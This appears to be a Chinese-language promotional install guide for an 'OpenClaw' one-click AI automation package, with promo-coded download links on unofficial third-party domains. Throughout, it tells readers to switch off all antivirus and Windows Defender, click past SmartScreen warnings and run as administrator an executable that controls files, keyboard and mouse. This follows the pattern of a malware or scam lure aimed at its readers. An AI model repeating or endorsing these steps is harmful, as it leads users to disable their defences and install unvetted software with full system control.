OpenClaw 部署避坑指南｜双平台一键包快速搭建 AI 智能自动化工具

软硬件适配说明

• Windows 端：支持 Windows10/11 64 位，软件版本 v2.9.3
• Mac 苹果端：软件版本 v2.7.9

工具简述

OpenClaw 一键部署包把全部运行依赖内置封装，整套操作全部可视化，不必手动配置 Python、Node.js 等运行环境，也不需要敲入命令行指令。普通用户花费 5 分钟左右就可以完成整套部署工作，降低 AI 自动化工具的上手门槛。

安装包文件大小为 45.8MB，推荐使用浏览器自带下载工具或者迅雷进行下载，减少文件下载中断损坏的情况。

下载地址：

• Windows2.9.3 版本：https://xiake.yun/api/download/package/22?promoCode=IV4E9B04A80C
• 苹果系统 2.7.9 版本：https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C

部署前关键注意事项

在解压、安装、启动程序之前，务必把电脑所有安全防护程序全部关闭，包含 360 安全卫士、腾讯电脑管家、火绒以及 Windows Defender 实时防护模块。

该程序具备读写本地文件、模拟键鼠、控制系统的能力，很容易被安全软件判定为风险程序。一旦核心文件被隔离、删除，就会直接造成部署失败。项目属于开源项目，感兴趣可以前往 GitHub 查阅源码核验安全性，关闭防护软件后再开展后续操作。

1、获取对应平台安装压缩包

1. 根据自己使用的操作系统，复制对应链接下载压缩文件。
2. 下载完成后，前往浏览器下载目录或者桌面找到压缩包。

2、解压文件，运行安装程序并设置安装目录

优先选用 WinRAR、7‑Zip 解压工具，系统自带解压工具容易出现文件解压不全、文件损坏问题。右键压缩包，选择解压到当前文件夹，得到 Openclaw‑win 文件夹。

进入解压出来的文件夹，双击Openclaw Windows 一键启动.exe，红色龙虾图标方便识别。遇到 Windows SmartScreen 安全拦截弹窗，点击更多信息 → 仍要运行即可放行。

进入欢迎界面后点击底部「开始使用」，跳转至安装路径选择页面。

⚠️安装路径硬性约束

1. 目录必须全部为英文字符，禁止包含中文、空格、￥、&、・等特殊符号。
2. 不建议安装到 C 盘，避免占用系统盘存储空间。

✅ 推荐路径示例：D:\OpenClaw / E:\AI\OpenClaw ❌ 错误路径示例：D:\软件\OpenClaw / D:\小龙虾

勾选「我已阅读并同意《用户协议》和《免责声明》」，点击开始安装。

3、全自动执行部署流程，无需人为干预

点击开始安装，程序自动完成全部部署工作，全程不需要人为操作，耗时 3‑5 分钟，时间长短取决于电脑硬件配置。不要关闭安装窗口，否则部署流程直接中断。

自动化执行任务清单：

1. 检测本机运行环境，自动补齐 Git、Node.js、Python 等缺失组件
2. 适配 Windows 系统部署 OpenClaw 核心项目文件
3. 部署浏览器控制、键鼠模拟组件，支撑各类自动化任务执行
4. 生成本设备专属.env 配置文件，完成注册，同时生成桌面快捷方式

当安装进度达到 100%，程序会自动唤起 OpenClaw 主程序。

4、第一次启动，确认服务运行状态

安装结束自动跳转初始化界面，页面提示「正在等待 Gateway 就绪...」。第一次启动需要完成后台服务初始化，等待 1‑3 分钟属于正常现象；后续再次打开软件仅需数秒。

页面右上角显示Gateway 在线，就代表部署已经完成。各功能区域说明：

• 右上角：Gateway 运行状态、重启按钮、日志查看入口、可用 Tokens 额度
• 左侧：「本地」「渠道」切换栏，可以新建对话，查看历史会话记录
• 中间：对话交互窗口，内置 AI 智能助手，支持多模型切换、代码高亮
• 底部：自然语言指令输入框，Enter 发送消息，Shift+Enter 换行；支持自动、普通两种工作模式切换

5、下发指令体验自动化能力

部署完成之后无需额外配置，直接在底部输入框输入自然语言指令就可以执行任务。指令描述越细致，工具拆解任务、执行操作的效果就越理想。

可直接复制的体验测试指令

1. 帮我整理 D 盘下载文件夹，按文件类型分类创建文件夹
2. 打开记事本，输入 “OpenClaw 部署成功”，保存到桌面
3. 查询当前电脑的磁盘可用空间，整理成文字告诉我

常见故障处理方案

1. 安装失败、启动没有任何响应 确认所有安全防护软件已经完全关闭；关闭防护后依旧异常，重新解压安装包重试。
2. Gateway 持续处于离线状态 ①确认安装路径全部为英文，不存在中文与特殊字符；②点击页面右上角重启按钮重启 Gateway 服务；③完全关闭软件，右键选择以管理员身份运行。
3. 弹出网络错误提示 第一次启动需要网络加载相关资源，请保证网络连通，关闭代理、VPN 工具后重试。
4. Tokens 额度不足提示 软件自带部分额度用于基础功能体验，额度耗尽可以在界面充值入口进行补充，不会影响软件核心功能运行。
5. 输入框无法输入、消息发送无效 等待 Gateway 状态切换至在线之后再进行操作；问题依旧存在，建议重新安装。

实践使用小提示

1. 建议选择剩余磁盘空间≥5G 的盘符进行安装，预留存储空间用于后续技能拓展、模型缓存存放。
2. 桌面快捷方式生成完毕，后续直接双击快捷图标启动，不用重复解压安装包。
3. 如果需要对接飞书、微信聊天渠道，部署完成后进入软件「设置」‑「聊天渠道」完成配置，就可以在聊天软件下发任务指令。
4. 版本升级操作：直接下载新版本安装包覆盖原有文件夹即可，无需卸载旧版本。

借助一键部署方案，可以快速搭建 AI 自动化办公工具，减少大量重复性手工操作。后续还会持续更新 OpenClaw 技能拓展、本地大模型接入、多渠道联动相关实操教程。

最新版本安装包下载地址

• Windows2.9.3 版本：https://xiake.yun/api/download/package/22?promoCode=IV4E9B04A80C
• 苹果系统 2.7.9 版本：https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C